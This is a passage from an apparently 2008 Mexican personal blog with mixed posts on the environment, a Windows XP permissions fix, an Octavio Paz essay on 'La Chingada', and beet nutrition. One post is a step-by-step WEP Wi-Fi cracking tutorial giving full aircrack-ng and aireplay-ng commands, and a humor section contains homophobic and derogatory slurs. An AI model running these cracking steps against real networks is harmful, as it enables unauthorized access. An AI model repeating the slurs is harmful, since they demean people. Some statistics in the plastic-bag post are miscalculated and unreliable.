pasando aquí. No quiero que te entrometas en esto, ni en lo que estoy haciendo, Steve.
—No me meteré en tu vida, Chris...
—¿No? Ya veremos. No negaré que tu presencia me pone nervioso. Pero, ya que has
venido...
Se detuvo y, por un momento, pareció casi avergonzado.
—Bueno, ya hablaremos.

Crackin WEP: Chingarte la WEP de una Wi-Fi

2008-09-01T00:17:00.003-05:00

Por necesidad de una red trabajando me puse a buscar como acceder a una red Wi-Fi protegida con clave WEP (Wired Equivalent Privacy) y me digamos que no son especialmente seguras. Existen programas como aircrack-ptw (http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw) permiten obtener la clave en unos pocos minutos, por lo que muchos ya recomiendan utilizar sistemas más avanzados como WPA o WPA2. En la web de la Universidad de Darmstadt explican cómo funciona este software, que analiza los paquetes de datos para capturar la contraseña. Con 40.000 paquetes, que se pueden obtener en menos de un minuto, las probabilidades de extraer la clave son de un 50%.

Hay otras formas de establecer dicha conexion. Aqui pongo una con base LINUX, que encontre por ahi:

Nota: Esto es para fines de investigación, aprendizaje, y verificación de seguridad. No debe usarse para vulnerar redes de otras personas. Atacar y vulnerar redes (u otros recursos) es malo, e ilegal.

Aqui pongo un "how to" en http://foro.seguridadwireless.net/index.php?topic=3227.0 que se uso como base.

A continuación, les explico los pasos a seguir para romper WEP.
Necesitamos una distribución de linux que podemos encontrar en http://www.comprawifi.net/public/wifiway/0.6/wifiway-0.6.iso. Bajamos la imagen del CD, y la quemamos.

Iniciamos la máquina con WifiWay (debe estar configurada para permitir iniciar desde CD/DVD).

Una vez iniciada, iniciamos el entorno gráfico mediante el comando:

startx

Ingresamos el canal en el que está el AP (Access Point) en la placa de red.

echo 'CANAL_DE_CAPTURA' > /sys/class/net/wifi0/device/channel

Obtenemos el BSSID, el canal, y el ESSID.

airodump-ng rtap0

Cerramos la ejecución con CONTROL-C, y utilizamos configuramos el BSSID (un número hexadecimal de 6 posiciones) en la placa de red.

echo 'BSSID_DEL_ACCESS_POINT' > /sys/class/net/wifi0/device/bssid

Una vez hecho esto, iniciamos la captura.

airodump-ng -c CANAL_DE_CAPTURA -w ARCHIVO_CAPTURA rtap0

Abrimos otra ventana y configuramos la velocidad a 2 mbps:

echo '2' > /sys/class/net/wifi0/device/rate

Subimos la placa de red.

ifconfig wifi0 up

Averiguamos la MAC address, son los 12 primeros numeros de HWaddr

ifconfig

Iniciamos una asociación con el AP.

aireplay-ng -1 0 -a BSSID_DEL_ACCESS_POINT -h MAC_ADDRESS_WIFI -e ESSID_DEL_ACCESSPOINT wifi0

Abrimos otra consola y ponemos para inyectar tráfico.

aireplay-ng -3 -b BSSID_DEL_ACCESS_POINT -e ESSID_DEL_ACCESSPOINT -h MAC_ADDRESS_WIFI wifi0

Esto debería aumentar los #data en la ventana de captura (pasa un momento antes que empiece a aumentar).
Cuando tengamos mas de 100.000 podemos extraer la clave ejecutando:

aircrack-ptw ARCHIVO_CAPTURA.cap

Esto debería encontrar la clave de red en formato hexadecimal.

Nota: En todos los comandos anteriores, wordpress convierte automáticamente las comillas a comillas formateadas. Por favor usar comillas simples.

Basado en el manual de =Tuxero=

Espero que esto haya sido de utilidad y nuevamente tomado de una forma EDUCACIONAL.

=ZeroProject=

Donde quedo la otra mitad del Medio Ambiente?

2008-07-25T20:29:00.003-05:00

Pendejeando en la red encontré unos datos en los que nunca me había puesto a pensar: Las Bolsas de plastico.
¿Cuantas bolsas de plástico se usarán en un día? y peor aun ¿Que tan grande será el impacto ecológico que estas tienen?

Pues esta es la triste historia de una bolsa de plástico que nos regalan en el Supermercado y tienditas de la esquina.

Las bolsas de plástico fueron introducidas en los años 70 en supermercados, pero como son baratas y pueden ser utilizadas como propaganda barata rapidamente se extendio hasta el changarrito de la esquina. Las bolsas de plástico pueden estar hechas de polietileno de baja densidad, polietileno lineal, polietileno de alta densidad o de polipropileno, polímeros de plástico no biodegradable, con espesor variable entre 18 y 30 micrómetros. Anualmente; circulan en todo el mundo entre 500 mil millones y 1 billón de estos objetos.

Se calcula que cerca de un 90% de las bolsas de plástico acaban su vida en vertederos, o como basura. Este número puede parecer preocupante pero en realidad estos objetos ocupan sólo un 0,3% del volumen acumulado en los vertederos. Aún así, dada su extrema ligereza, si no estuvieran bien acondicionadas las bolsas de plástico tienen la tendencia de volar y esparcirse por el medio ambiente. Esta situación puede provocar otros tipos de contaminación, que por ejemplo en China ganó el nombre de contaminación blanca. En la mayor parte de los países la forma más practica y economica de disponer la basura, sin que se disperse, se moje, entre en contacto con insectos o roedores, etc. es precisamente usando bolsas de plástico.

El mayor volumen de desechos plasticos son envases rigidos como las botellas de agua o leche. Casi todas las bolsas de plástico no acondicionadas en vertederos acaban, a corto o largo plazo, por llegar a los ríos y a los océanos. Los ecologistas llaman la atención desde hace varios años sobre este problema y citan el hecho de que cientos de ballenas, delfines, tortugas y aves marinas mueren anualmente asfixiadas por bolsas de plástico. El caso más dramático ocurrió en 2002, dice la leyenda urbana que cuando una ballena enana llegó a la costa de Normandía con cerca de 800 kg de bolsas de plástico en su estómago.

Sabias que menos del 1% de las bolsas plasticas se recicla! es mucho mas costoso reciclar una bolsa que producir una!

Pero si no se recicla, a donde va?

En 1975 (ya hace algún tiempo) se demostró que las embarcaciones transoceánicas arrojaban en conjunto 8 millones de libras de plástico al mar cada año. La razón por la cual los basureros del mundo no estaban inundados de plástico era porque su mayoría terminaba en el océano.

Por que si no son tratadas adecuadamente, las bolsas vuelan... y lamentablemente a distintos puntos de nuestro planeta.

Pero también en el mar ocasionan mucho daño!
Se han encontrado bolsas plasticas flotando al norte del circulo artico, cerca de Spitzbergen e incluso mucho mas al sur cerca de las islas Malvinas.

Las bolsas plasticas representan un poco mas del 10% de la basura que llega a las costas!
En tierra las bolsas plasticas se fotodegradan!! con el pasar del tiempo se descomponen en Petro-Polimeros mas pequeños y toxicos! Que finalmente contaminaran la tierra y los rios Fluviales…..

Como conecuencia pequeñas particulas pueden ser confundida por comida para ciertos animales que al comersela se atragantan y se ahogan con las bolsas!

El elevado número de bolsas producidas por año (cerca de 150 por persona al año) y la naturaleza no biodegradable del plástico con que son producidas. Además de eso, la manufactura del polietileno se hace a partir de combustibles fósiles e implica la emisión de gases contaminantes. Cabe anotar también que producir y transportar bolsas de papel es aun más contaminante en terminos de uso de arboles, la energía utilizada para transformar la celulosa y la pasta de papel, los productos químicos usados a escalas industriales y el volumen que representa una misma cantidad de bolsas de papel frente a las de plástico.

Y como podemos evitar esto?
Pues muy simple! llevando tu propia bolsa de tela, haciendo esto te puedes ahorrar aproximadamente hasta 6 bolsas a la semana!

Es decir, 25 bolsas al mes!
Osea 288 al año!
Osea 22176 Bolsas en una vida promedio!!

Si solamente 1 persona de 5 en nuestro país hiciera esto, ahorraríamos aproximadamente 1,330,560,000,000 bolsas durante una vida promedio!

Bangladesh se ha prohibido el uso de las bolsas plásticas y China prohibio las bolsas plasticas “gratuitas” Irlanda, fue el primero en poner impuestos sobre las bolsas y con esto redujo el consumo en un 80%.

Cuando alguien descubra un material con más ventajas respecto a su bajo costo, impermeabilidad, facilidad de producción, resistencia en bajos espesores, inerte a los alimentos y mayor procesabilidad, estaremos frente al fin de las bolsas de plástico.

Acceder a carpetas con mensaje "Acceso denegado" en Windows XP

2008-07-09T17:06:00.006-05:00

No se si alguna vez les ha pasado que cuando tienen 2 Windows XP en una sola máquina no pueden acceder a los documentos del otro sistema si la sesión tiene contraseña y pa joder mas, dice que la carpeta pesa 0 bites. Ps aquí les dejo como acceder a esas carpetas.

No estoy seguro si algún virus pueda denegar el acceso a carpetas, y si éste método funcione en tal caso. Pero el propósito de ésta entrada es permitirle al usuario recuperar sus archivos en caso de que algún error del sistema o daño causado por algun tipo de malware haya provocado que ya no pueda ingresar en su cuenta original.

Nota: Para poder acceder a la carpetas debemos tener acceso a una cuenta con privilegios de administrador.

Una vez que ingresamos a Windows, abrimos el explorador de Windows y nos vamos a Herramientas - Opciones de carpeta - Ver y deshabilitamos la opción Utilizar uso compartido simple de archivos, la cual se encuentra hasta el final de las opciones listadas.

Ahora, nos ubicamos la carpeta a la cual queremos ingresar, damos click derecho sobre ésta y seleccionamos propiedades.

Esto nos mostrará una nueva ventana, dentro de la cual seleccionaremos la pestaña Propietario, y dentro de ésta pestaña seleccionaremos el usuario de la sesión que en ese momento estamos utilizando. Y además habilitaremos la casilla Reemplazar propietario en subcontenedores y objetos.

Damos click en Aceptar, y se nos mostrará una ventana, la cual nos dice que todos los permisos serán reemplazados si presionamos Si. Y efectivamente, eso es lo que queremos, así que damos click sobre Si.

Con esto debe ser posible acceder a las carpetas.

Alguna duda Escribir a: zero_zaver@hotmail.com con el titulo de Acceso denegado.

Fuente: http://lestathijackthis.wordpress.com

Coto Cumple 23

2008-06-26T19:13:00.004-05:00

Fotos de mi cumple #23.

"La Chingada", ¿Cultura de México?

2008-06-18T13:42:00.006-05:00

Como buenos mexicanos, con nuestra lengua floklorica, tenemos una expresión muy popular, que la usamos como verbo o adjetivo y a todos niveles, pues es una muestra de el color y cultura de nuestro querido pais, el pues "La Chingada"

Algunas personas marcan a esta palabra como muestra de vulgaridad de nuestra lengua mexicana y de cierta forma lo es, pensando en vulgaridad como procedente del vulgo y en ese contexto de pueblo, "La chingada" es una palabra apoteósica de nuestro México vivo, ya que es el resultado de un proceso social, historico y cultural.

Para exponer de una mejor manera el origen y uso de "La Chingada" dejo aqui un fragmento de "Los hijos de la Malinche" del señor Octavio Paz, incluido en el libro "El laberinto de la soledad".

===================================================================================
===================================================================================

LOS HIJOS DE LA MALINCHE

EN NUESTRO lenguaje diario hay un grupo de palabras prohibidas, secretas, sin contenido claro, y a cuya mágica ambigüedad confiamos la expresión de las más brutales o sutiles de nuestras emociones y reacciones. Palabras malditas, que sólo pronunciamos en voz alta cuando no somos dueños de nosotros mismos. Confusamente reflejan nuestra intimidad: las explosiones de nuestra vitalidad las iluminan y las depresiones de nuestro ánimo las oscurecen. Lenguaje sagrado, como el de los niños, la poesía y las sectas. Cada letra y cada sílaba están animadas de una vida doble, al mismo tiempo luminosa y oscura, que nos revela y oculta. Palabras que no dicen nada y dicen todo. Los adolescentes, cuando quieren presumir de hombres, las pronuncian con voz ronca. Las repiten las señoras, ya para significar su libertad de espíritu, ya para mostrar la verdad de sus sentimientos. Pues estas palabras son definitivas, categóricas, a pesar de su ambigüedad y de la facilidad con que varía su significado. Son las malas palabras, único lenguaje vivo en un mundo de vocablos anémicos. La poesía al alcance de todos.

Cada país tiene la suya. En la nuestra, en sus breves y desgarradas, agresivas, chispeantes sílabas, parecidas a la momentánea luz que arroja el cuchillo cuando se le descarga contra un cuerpo opaco y duro, se condensan todos nuestros apetitos, nuestras iras, nuestros entusiasmos y los anhelos que pelean en nuestro fondo, inexpresados. Esa palabra es nuestro santo y seña. Por ella y en ella nos reconocemos entre extraños y a ella acudimos cada vez que aflora a nuestros labios la condición de nuestro ser. Conocerla, usarla, arrojándola al aire como un juguete vistoso o haciéndola vibrar como un arma afilada, es una manera de afirmar nuestra mexicanidad.

Toda la angustiosa tensión que nos habita se expresa en una frase que nos viene a la boca cuando la cólera, la alegría o el entusiasmo nos llevan a exaltar nuestra condición de mexicanos: Viva México, hijos de la Chingada! Verdadero grito de guerra, cargado de una electricidad particular, esta frase es un reto[ y una afirmación, un disparo, dirigido contra un enemigo imaginario, y una explosión en el aire. Nuevamente, con cierta patética y plástica fatalidad, se presenta la imagen del cohete que sube al cielo, se dispersa en chispas y cae oscuramente. O la del aullido en que terminan nuestras canciones, y que posee la misma ambigua resonancia: alegría rencorosa, desgarrada afirmación que se abre el pecho y se consume a si misma.

Con ese grito, que es de rigor gritar cada 15 de septiembre, aniversario de la Independencia, nos afirmamos y afirmamos a nuestra patria, frente, contra y a pesar de los demás. ¿ Y quiénes son los demás? Los demás son los "hijos de la chingada": los extranjeros, los malos mexicanos, nuestros enemigos, nuestros rivales. En todo caso, los "otros". Esto es, todos aquellos que no son lo que nosotros somos. Y esos otros no se definen sino en cuanto hijos de una madre tan indeterminada y vaga como ellos mismos.

¿Quién es la Chingada? Ante todo, es la Madre. No una Madre de carne y hueso, sino una figura mítica. La Chingada es una de las representaciones mexicanas de la Maternidad, como la Llorona o la "sufrida madre mexicana" que festejamos el diez de mayo. La Chingada es la madre que ha sufrido, metafórica o realmente, la acción corrosiva e infamante implícita en el verbo que le da nombre. Vale la pena detenerse en el significado de esta voz.

En la Anarquía del lenguaje en la América Española, Darío Rubio examina el origen de esta palabra y enumera las significaciones que le prestan casi todos los pueblos hispanoamericanos. Es probable su procedencia azteca: chingaste es xinachtli (semilla de hortaliza) o xinaxtli (aguamiel fermentado). La voz y sus derivados se usan, en casi toda América y en algunas regiones de España, asociados a las bebidas alcohólicas o no: chingaste son los residuos o heces que quedan en el vaso, en Guatemala y El Salvador; en Oaxaca llaman chingaditos a los restos del café; en todo México se llama chínguere -o, significativamente, piquete- al alcohol; en Chile, Perú y Ecuador la chingana es la taberna; en España chingar equivale a beber mucho, a embriagarse; y en Cuba, un chinguirito, es un trago de alcohol.

Chingar también implica la idea de fracaso. En Chile y Argentina se chinga un petardo, "cuando no revienta, se frustra o sale fallido". Y las empresas que fracasan, las fiestas que se aguan, las acciones que no llegan a su término, se chingan. En Colombia, chingarse es llevarse un chasco. En el Plata un vestido desgarrado es un vestido chingado. En casi todas partes chingarse es salir burlado, fracasar. Chingar, asimismo, se emplea en algunas partes de Sudamérica como sinónimo de molestar, zaherir, burlar. Es un verbo agresivo, como puede verse por todas estas significaciones: descolar a los animales, incitar o hurgar a los gallos, chungucu, chasquear, perjudicar, echar a perder, frustrar.

En México los significados de la palabra son innumerables. Es una voz mágica. Basta un cambio de tono, una inflexión apenas, para que el sentido varíe. Hay tantos matices como entonaciones: tantos significados como sentimientos. Se puede ser un chingón, un Gran Chingón (en los negocios, en la política, en el crimen, con las mujeres), un chingaquedito. (silencioso, disimulado, urdiendo tramas en la sombra, avanzando cauto para dar el mazazo), un chingoncito. Pero la pluralidad de significaciones no impide que la idea de agresión--en todos sus grados, desde el simple de incomodar, picar, zaherir, hasta el de violar, desgarrar y matar--se presente siempre como significado último. El verbo denota violencia, salir de si mismo y penetrar por la fuerza en otro. Y también, herir, rasgar, violar -cuerpos, almas, objetos-, destruir. Cuando algo se rompe, decimos: "se chinga". Cuando alguien ejecuta un acto desmesurado y contra las reglas, comentamos: "hizo una chingadera".

La idea de romper y de abrir reaparece en casi todas las expresiones. La voz está teñida de sexualidad, pero no es sinónimo del acto sexual; se puede chingar a una mujer sin poseerla. Y cuando se alude al acto sexual, la violación o el engaño le prestan un matiz particular. El que chinga jamás lo hace con el consentimiento de la chingada. En suma, chingar es hacer

violencia sobre otro. Es un verbo masculino, activo, cruel: pica, hiere, desgarra, mancha. Y provoca una amarga, resentida satisfacción en el que lo ejecuta.

Lo chingado es lo pasivo, lo inerte y abierto, por oposición a lo que chinga, que es activo, agresivo y cerrado. El chingón es el macho, el que abre. La chingada, la hembra, la pasividad pura, inerme ante el exterior. La relación entre ambos es violenta, determinada por el poder cínico del primero y la impotencia de la otra. La idea de violación rige oscuramente todos los significados. La dialéctica de lo cerrado y Io abierto se cumple así con precisión casi feroz.

El poder mágico de la palabra se intensifica por su carácter prohibido. Nadie la dice en público. Solamente un exceso de cólera, una emoción o el entusiasmo delirante, justifican su expresión franca. Es una voz que sólo se oye entre hombres, o en las grandes fíestas. Al gritarla, rompemos un velo de pudor, de silencio o de hipocresía. Nos manifestamos tales como somos de verdad. Las malas palabras hierven en nuestro interior, como hierven nuestros sentimientos. Cuando salen, lo hacen brusca, brutalmente, en forma de alarido, de reto, de ofensa. Son proyectiles o cuchillos. Desgarran.

...

La palabra chingar, con todas estas múltiples significaciones, define gran parte de nuestra vida y califica nuestras relaciones con el resto de nuestros amigos y compatriotas, Para el mexicano la vida es una posibilidad de chingar o de ser chingado. Es decir, de humillar, castigar y ofender. O a la inversa. Esta concepción de la vida social como combate engendra fatalmente la división de la sociedad en fuertes y débiles. Los fuertes, los chingones sin escrúpulos, duros e inexorables se rodean de fidelidades ardientes e interesadas. El servilismo ante los poderosos -especialmente entre la casta de los "políticos", esto es, de los profesionales de los negocios públicos- es una de las deplorables consecuencias de esta situación. Otra, no menos degradante, es la adhesión a las personas y no a los principios. Con frecuencia nuestros políticos confunden los negocios públicos con los privados. No importa. Su riqueza o su influencia en la administración les permite sostener una mesnada que el pueblo llama, muy atinadamente, de "lambiscones" (de lamer).

El verbo chingar -maligno, ágil y juguetón como un animal de presa- engendra muchas expresiones que hacen de nuestro mundo una selva: hay tigres en los negocios, águilas en las escuelas o en los presidios, leones con los amigos. El soborno se llama "morder". Los burócratas roen sus huesos (los empleos públicos). Y en un mundo de chingones, de relaciones duras, presididas por la violencia y el recelo, en el que nadie se abre ni se raja y todos quieren chingar, las ideas y el trabajo cuentan poco. Lo único que vale es la hombría, el valor personal, capaz de imponerse.

La voz tiene además otro significado, más restringido. Cuando decimos "vete a la Chingada" enviamos a nuestro interlocutor a un espacio lejano, vago e indeterminado. Al país de las cosas rotas, gastadas. País gris, que no está en ninguna parte, inmenso y vacío. Y no sólo por simple asociación fonética lo comparamos a la China, que es también inmensa y remota. La Chingada, a fuerza de uso, de significaciones contrarias y del roce de labios coléricos o entusiasmados, acaba por gastarse, agotar sus contenidos y desaparecer. Es una palabra hueca. No quiere decir nada. Es la Nada.

Después de esta digresión sí se puede contestar a la pregunta ¿qué es la Chingada? La Chingada es la Madre abierta, violada o burlada por la fuerza. El "hijo de la Chingada" es el engedro de la violación, del rapto o de la burla. Si se compara esta expresión con la española, "hijo de puta" se advierte inmediatarnente la diferencia. Para el español la deshonra consiste en ser hijo de una mujer que voluntariamente se entrega, una prostituta; para el mexicano, es ser fruto de una violación.

... No es un secreto para nadie que el catolicísmo mexicano se concentra en el culto a la Virgen

de Guadalupe. En primer término: se trata de una Virgen india; enseguida: el lugar de su aparición (ante el indio Juan Diego) es una colina que fue antes santuario dedicado a Tonantzín, "nuestra madre" diosa de la fertilidad entre los aztecas. Como es sabido, la Conquista coincide con el apogeo del culto a dos divinidades masculinas: Quetzalcóatl, el dios del autosacrificio (crea el mundo, según el mito, arrojándose a la hoguera, en Teotihuacán) y Huitzilopochtli, el joven dios guerrero que sacrifica. La derrota de estos dioses -pues eso fue la Conquista para el mundo indio: el fin de un ciclo cósmico y la instauración de un nuevo reinado divino- produjo entre los fieles una suerte de regreso hacia las antiguas divinidades femeninas. Este fenómeno de vuelta a la entraña materna, bien conocido de los psicólogos, es sin duda una de las causas determinantes de la rápida popularidad del culto a la Virgen. Ahora bien, las deidades indias eran diosas de fecundidad, ligadas a los ritmos cósmicos, los procesos de vegetación y los ritos agrarios. La Virgen católica es también una Madre (Guadalupe-Tonantzin la llaman aún algunos peregrinos indios) pero su atributo principal no es velar por la fertilidad de la tierra sino ser el refugio de los desamparados. La situación ha cambiado: no se trata ya de asegurar las cosechas sino de encontrar un regazo. La Virgen es el consuelo de los pobres, el escudo de los débiles, el amparo de los oprimidos. En suma, es la Madre de los huérfanos. Todos los hombres nacimos desheredados y nuestra condición verdadera es la orfandad, pero esto es particularmente cierto para los indios y los pobres de México. El culto a la Virgen no sólo refleja la condición general de los hombres sino una situación histórica concreta, tanto en lo espiritual como en lo material. Y hay más: Madre universal, la Virgen es también la intermediaria, la mensajera entre el hombre desheredado y el poder desconocido, sin rostro: el Extraño.

Por contraposición a Guadalupe, que es la Madre virgen, la Chingada es la Madre violada. Ni en ella ni en la Virgen se encuentran rastros de los atributos negros de la Gran Diosa: lascivia de Amaterasu y Afrodita, crueldad de Artemisa y Astarté, magia funesta de Circe, amor por la sangre de Kali. Se trata de figuras pasivas. Guadalupe es la receptividad pura y los beneficios que produce son del mismo orden: consuela, serena, aquieta, enjuga las lágrimas, calma las pasiones. La Chingada es aún más pasiva. Su pasividad es abyecta: no ofrece resistencia a la violencia, es un montón inerte de sangre, huesos y polvo. Su mancha es constitucional y reside, según se ha dicho más arriba en su sexo. Esta pasividad abierta al exterior la lleva a perder su identidad: es la Chingada. Pierde su nombre, no es nadie ya, se confunde con la nada, es la Nada. Y sin embargo, es la atroz encarnación de la condición femenina.

Si la Chingada es una representación de la Madre violada, no me parece forzado asociarla a la Conquista, que fue también una violación,, no solamente en el sentido histórico, sino en la carne misma de las indias. El símbolo de la entrega es doña Malinche, la amante de Cortés. Es verdad que ella se da voluntariamente al Conquistador, pero éste, apenas deja de serle útil, la olvida, Doña Marina se ha convertido en una figura que representa a las indias, fascinadas, violadas o seducidas por 103 españoles. Y del, mismo modo que el niño no perdona a su madre que lo abandone para ir en busca de su padre, el pueblo mexicano no perdona su traición a la Malinche. Ella encarna lo abierto, lo chingado, frente a nuestros indios, estoicos, impasibles y cerrados. Cuauhtémoc y doña Marina son así dos símbolos antagónicos y complementarios. Y si no es sorprendente el culto que todos profesamos al joven emperador -"único héroe a la altura del arte", imagen del hijo sacrificado-, tampoco es extraña la maldición que pesa contra la Malinche. De ahí el éxito del adjetivo despectivo "malinchista", recientemente puesto en circulación por los periódicos para denunciar a todos los contagiados por tendencias extranjerizantes. Los malinchistas son los partidarios de que México se abra al exterior: los verdaderos hijos de la Malinche, que es la Chingada en persona. De nuevo aparece lo cerrado por oposición a lo abierto.

Nuestro grito es una expresión de la voluntad mexicana de vivir cerrados al exterior, sí, pero sobre todo, cerrados frente al pasado. En este grito condenamos nuestro origen y renegamos de nuestro hibridismo. La extraña permanencia de Cortés y de la Malinche en la imaginación y en la sensibilidad de los mexicanos actuales revela que son algo más que figuras históricas: son símbolos de un conflicto secreto, que aún no hemos resuelto. Al repudiar a la Malinche -Eva mexicana, según la representa José Clemente Orozco en su mural de la Escuela Nacional Preparatoria- el mexicano rompe sus ligas con el pasado, reniega de su origen y se adentra solo en la vida histórica.

El mexicano condena en bloque toda su tradición, que es un conjunto de gestos, actitudes y tendencias en el que ya es difícil distinguir lo español de lo indio. Por eso la tesis hispanista, que nos hace descender de Cortés con exclusión de la Malinche, es el patrimonio de unos cuantos extravagantes -que ni siquiera son blancos puros-. Y otro tanto se puede decir de la propaganda indigenista, que también está sostenida por criollos y mestizos maniáticos, sin que jamás los indios le hayan- prestado atención. El mexicano no quiere ser ni indio, ni español. Tampoco quiere descender de ellos. Los niega. Y no se afirma en tanto que mestizo, sino como abstracción: es un hombre. Se vuelve hijo de la nada. Él empieza en si mismo.

...

El mexicano y la mexicanidad se definen como ruptura y negación. Y, asimismo, como búsqueda, como voluntad por trascender ese estado de exilio. En suma, como viva conciencia de la soledad, histórica y personal. La historia, que no nos podía decir nada sobre la naturaleza de nuestros sentimientos y de nuestros conflictos, sí nos puede mostrar ahora cómo se realizó la ruptura y cuáles han sido nuestras tentativas para trascender la soledad.

===================================================================================
===================================================================================

Pero a todo esto.... Donde queda La Chingada?

Nadie sabía exactamente donde está por que no aparece en el Google Earth pero a todos nos han mandado, o hemos enviado a alguien alli. Pero, ¿donde queda? Pues La Chingada es un ranchito que esta en la carretera hacia San Juan de Los Lagos, en el estado de Jalisco. Asi que, para la proxima ya sabes a donde dirigirte o a donde mandaras a esas personas despreciables.

A todo esto, "La Chingada" es una palabra que nos marca como buenos mexicanos, marca la vivasidad y el color de nuestro pueblo y a la cual tambien se le ha podido inventar un contexto.

Historia

En el principio Dios creó a Adán y George, pero un día se pelearon las locas, entonces Dios no tuvo más remedio que mandar a George a la chingada y crear a Eva, así pues, Dios tuvo que crear La Chingada y George residió ahí el resto de su vida conviviendo con dinosaurios con los que vivio felizmente hasta que dos dias después lo devoraron.

Mucho tiempo después empezaron a mandar gente a la chingada, la primer mujer llegó ahí se embarazó por tener amistades cercanas con un burro y de ellas nacieron muchos hijos, sobre todo políticos. Fue entonces que la población fue creciendo de hijos de "La Chingada" (como se le bautizó por que sabrá la chingada como se llamaba) hasta ser el inmenso poblado de nuestros días, llena de plantones, manifestaciones del Peje y sin ley alguna.

Epoca prehispánica

Durante esta época los extraterrestres vinieron a experimentar con la gente, se les enseño a hacer cerveza a base de agua y orina, a usar bicicletas pero sobre todo, se les enseñó a jugar fútbol. A cambio de eso se dejaron hacer experimentos como exposición extrema a Reality shows como La Nacademia o Chambeando por Un Peso, sus mujeres fueron usadas para el amplio estudio del ser humano femenino

Guerras Púbicas

Durante este periodo volaron pelos pues Satanás junto con los diablos rojos del Toluca (Que eran sexomaniaco-depresivos y sadomasoquistas) intentaron destruir el pueblo, investigaciones recientes sobre la "guerra de los pelos" arrojaron que la tercera parte de los hombres de este pintoresco pueblo fueron deleitados torturados por los diablos poniendo algodones encendidos en sus traseros... pero en eso llegó Cyberjesús, a evitar su destrucción lo cual ocurrió, el pueblo valió verga, pero lo que quedó fue salvado por el Chapulín Colorado quien junto al Santo derrotó 4 a 0 a las fuerzas del mal, por ahora todo tenía un futuro incierto.

Actualidad

Mucho tiempo después La Chingada tuvo gran crecimiento a nivel social y económico desde que "La vaca Chenta" fuera presidente muncipal, pues hubo infraestructura, taquerías y hasta un "Teibol Dans" donde los hombres gastaban lo que sus mujeres le dejaban de la quincena, y de lo que algunas de ellas ganaban bailando ahí.

Población

Hay una gran diversidad en cuanto a población se refiere, por ejemplo hay gran cantidad de animales de granja como los caballos, las vacas y las chivas que de hecho son la mayoría de la población. Tambien hay seres humanos, desde campesinos, obreros, mujeres de la vida galante, y muchos borrachitos y una gran cantidad de americanistas, perredistas, priistas y panistas, incluido el jorobado puto de Cuauhtémoc Blanco, ultimamente han llegado cientos de gente repugnante llamada Chinolas

La minoría humana del lugar la componen mexicanos, franceses, chinos, una que otro morenaza y un chingo de gringos que han nacido ahí, por eso se les llama " gringo hijo de la chingada".

Costumbres

Como no hay televisión ahí tienen que entretenerse con cosas como ferias locales, fabricar armas de destrucción + IVA ver quien logra hacer el chorro de meados más lejos (puntos extra si es con espuma), jugar dominó, quemar policías y los jóvenes se la pasan haciendo juegos manuales (puñetas) como principal actividad grupal y recreativa.

Por ultimo, debo hacer saber que el Gobierno tambien esta presente ayudando a los Chingados.

INFONAVIT hace entrega de 30 casas a los ciudadanos de La Chingada
16 de Junio 2008 - La Chingada, Mexico.

En precencia de la actual presidenta, Rosa Meleño, el INFONAVIT (Instituto para el Faje Necrofílico A Viejesitas e Incestivos Tomadores) hace entrega de las 30 casas rifadas en el Primer Magno Sorteo del Suertudo Cabrón.

Para la entrega de las casas se realizo un desfile alrededor del Lago Zarás, que consistia en botes temáticos, siendo el mas popular el de un bote disfrazado de... bote. También hubo otros botes, como el homenaje a la vaca Chenta, el multimillonario yate de Bill Gates y la lanchita atunera de alguien.

El conductor de televisión, José Ramón Fernández (Recientemente mandado a La Chingada por Tachidito) se encargó de la entrega de las casas a los felices ganadores, que consisten en 12 gringos, 5 chilangos, 7 cabras y 6 vacas. "Como odio al América" declaro José Ramón Fernández cuando se le preguntó que se sentia ayudar a los chingados (oriundos de La Chingada).

Un felíz ganador declaró: "Quiero agradecer al INFONAVIT por esta casita, que me va a servir para venderla y tener cervezas para tres meses. ¡Gracias INFONAVIT!"

Y asi es como se vive en La Chingada, así que para la proxima vez que alguien los mande a La Chingada ya estaran preparados.

Comenten y den click a los anuncioa o se van a la chingada.

===ZeroProject===

El Betabel y sus propiedades curativas =0

2008-06-17T14:37:00.002-05:00

Me acuerdo cuando era niño, amis hermanos y a mi, mi papá nos hacía tomar jugo de betabel todas las mañanas y rara vez nos enfermabamos. Pues como no tenía nada que hacer me puse a buscar para que madres sirve y ps me encontre esto:

El betabel tiene la reputación de poseer poderes curativos contra el dolor de cabeza y otros dolores, también algunos naturistas lo recomiendan para estimular el sistema inmunológico y prevenir el cáncer, sin embargo no hay pruebas científicas que demuestren que tiene beneficios medicinales especiales. El betabel posee hojas comestibles en su parte superior, las cuales contienen beta carotenos, calcio y hierro; éstas pueden cocerse de igual manera que las espinacas. En las civilizaciones antiguas sólo se comían las hojas, y la raíz se usaba como medicamento para tratar dolores de cabeza y dolores de muelas.

En la actualidad, por lo general sólo se come la raíz del betabel: cruda, cocida, encurtida o enlatada. El betabel es uno de los vegetales con mayor contenido de azúcar y cada 100 gramos de betabel poseen el equivalente a una cucharadita de azúcar. El betabel es pariente de la remolacha azucarera ( la que antes sólo se usaba para alimentar a los animales y ahora se cultiva para obtener sacarosa).

Lo curioso del betabel es que el producto procesado conserva casi la misma textura y sabor que el producto fresco. El vinagre confiere al betabel un sabor más fuerte. El betabel ligeramente hervido es una buena fuente de nutrimentos, si no es que mejor que el producto crudo. Contiene mayor cantidad de minerales, incluyendo potasio ( el que regula el ritmo cardiaco y mantiene normales la presión arterial y el sistema nervioso). El nivel de la mayoría de las vitaminas se mantiene igual, incluyendo la vitamina C, y solamente hay una pequeña pérdida de folato.

Algunas personas consumen el betabel crudo, rallado, en ensaladas, pero la mayoría prefiere cocerlo. Si cuece el betabel sin pelarlo, evitará que escurra el pigmento rojo que contiene--llamado betacianina-- y que se manchen los utensilios de cocina. La betacianina se extrae del betabel para crear un colorante llamado rojo de betabel. Se usa en la industria de procesamiento de alimentos para añadir color a cualquier cosa, desde una sopa hasta un helado o desde una hamburguesa hasta un licor.

¿Orina color de rosa?

No hay motivo de preocupación si, después de comer betabel, la orina o las heces adquieren una coloración rosa. Los padres que alimentan a sus hijos con papilla de betabel suelen preocuparse porque los pañales se manchan de rosa. Esto sólo indica que hay una incapacidad heredada genéticamente para metabolizar la betacianina. Este producto inofensivo, el pigmento rojo, simplemente pasa a través del sistema digestivo sin sufrir cambios.

Ventajas del betabel

Además de las propiedades anticancerosas que se cree que posee, el betabel es rico en potasio, contiene vitamina C, además de calcio y hierro, también es una buena fuente de folato: una vitamina esencial para mantener sanas las células (su deficiencia está relacionada con la anemia).

